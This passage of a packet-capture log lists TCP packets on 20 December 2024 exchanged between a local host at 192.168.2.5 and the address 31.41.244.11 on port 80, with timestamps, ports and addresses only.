Dec 20, 2024 16:08:11.251007080 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.251029968 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.252533913 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.252547979 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.252605915 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.254122019 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.254136086 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.254193068 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.255703926 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.255737066 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.255755901 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.255764961 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.255795956 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.257317066 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.257329941 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.257406950 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.258985043 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.259053946 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.260502100 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.260560989 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.262185097 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.262202978 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.262245893 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.263696909 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.263711929 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.263773918 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.265357971 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.265372992 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.265424013 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.265465975 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.267352104 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.267427921 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.267669916 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.267719984 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.274432898 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.274517059 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.274697065 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.274782896 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.280844927 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.280919075 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.281223059 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.281275988 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.286993980 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.287085056 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.287501097 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.287570000 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.293139935 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.293261051 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.293452978 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.293508053 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.299009085 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.299129963 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.299278975 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.299344063 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.304857969 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.304929018 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.305387974 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.305454969 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.312505960 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.312592983 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.313257933 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.313318968 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.317260027 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.317334890 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.317517042 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.317569017 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.321995974 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.322063923 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.322693110 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.322742939 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.327528954 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.327603102 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.328159094 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.328222990 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.333105087 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.333204031 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.333404064 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.333465099 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.338494062 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.338567019 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.338895082 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.338954926 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.341265917 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.341402054 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.341574907 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.341667891 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.343844891 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.343933105 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.344209909 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.344269037 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.346978903 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.347043037 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.347054005 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.347086906 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.349179983 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.349253893 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.349443913 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.349503994 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.385461092 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.385481119 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.385627985 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.391326904 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.391340971 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.391411066 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.395462990 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.400880098 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.400895119 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.400947094 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.400960922 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.410495996 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.410510063 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.410593033 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.418534994 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.418618917 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.419270992 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.419342041 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.427265882 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.427371979 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.428834915 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.429014921 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.435254097 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.435338020 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.436842918 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.436911106 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.446387053 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.446522951 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.446569920 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.446619987 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.451229095 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.451244116 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.451303959 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.452789068 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.452804089 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.452847004 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.454423904 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.454484940 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.455226898 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.455260992 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.455281019 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.455292940 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.456758022 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.456773996 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.456809044 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.456820965 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.458396912 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.458434105 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.458446026 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.458476067 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.459979057 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.459994078 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.460006952 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.460042953 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.460052967 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.461575985 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.461591005 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.461637974 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.463165998 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.463180065 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.463206053 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.463217974 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.463241100 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.465006113 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.465022087 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.465071917 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.465976954 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.466645956 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.466659069 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.466671944 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.466695070 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.466711998 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.467966080 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.467979908 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.468030930 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.469571114 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.469585896 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.469629049 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.471179962 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.471195936 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.471246958 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.472795010 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.472810030 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.472862005 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.474364042 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.474380970 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.474395990 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.474426031 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.474447966 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.475987911 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.476002932 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.476046085 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.476064920 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.477559090 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.477607012 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.479126930 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.479182959 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.479185104 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.479202032 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.479228973 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.479248047 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.480750084 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.480763912 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.480807066 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.480823994 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.482454062 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.482469082 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.482506037 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.482525110 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.483947992 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.483962059 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.484004974 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.485536098 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.485549927 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.485579967 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.485591888 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.487128973 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.487143040 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.487154961 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.487185955 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.487196922 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.488719940 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.488746881 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.488771915 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.488784075 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.490819931 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.490837097 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.490889072 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.491910934 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.491925001 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.491951942 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.491961002 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.492011070 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.493551016 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.493565083 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.493577957 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.493616104 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.495117903 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.495131969 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.495157003 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.495177984 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.496714115 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.496730089 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.496783018 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.496794939 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.498301029 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.498374939 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.498397112 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.498442888 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.499944925 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.499984980 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.500020027 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.501529932 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.501571894 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.501573086 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.501594067 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.501622915 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.503202915 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.503222942 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.503242016 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.503256083 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.503266096 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.503285885 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.504729033 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.504750967 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.504792929 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.506298065 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.506315947 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.506335020 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.506345034 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.506371975 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.507927895 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.507945061 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.507992029 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.509489059 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.509502888 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.509516001 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.509551048 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.509551048 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.511107922 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.511121988 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.511177063 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.512695074 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.512743950 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.541459084 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.541646004 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.541693926 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.541738987 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.542457104 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.542521000 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.543061018 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.543114901 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.544306993 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.544363022 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.544954062 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.545026064 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.546289921 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.546400070 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.546771049 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.546823978 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.548345089 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.548407078 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.548696041 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.548748016 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.550241947 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.550299883 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.550682068 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.550739050 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.552218914 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.552278042 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.552687883 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.552742004 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.556410074 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.556423903 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.556478024 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.556593895 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.564248085 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.564306021 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.564435959 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.570611954 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.570631981 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.570688963 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.570703030 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.578604937 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.578620911 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.578669071 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.585040092 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.585114002 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.586613894 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.586677074 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.591427088 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.591497898 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.592942953 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.592993021 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.599555969 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.599618912 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.600953102 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.601005077 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.605748892 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.605768919 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.605801105 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.605827093 CET	49946	80	192.168.2.5	31.41.244.11
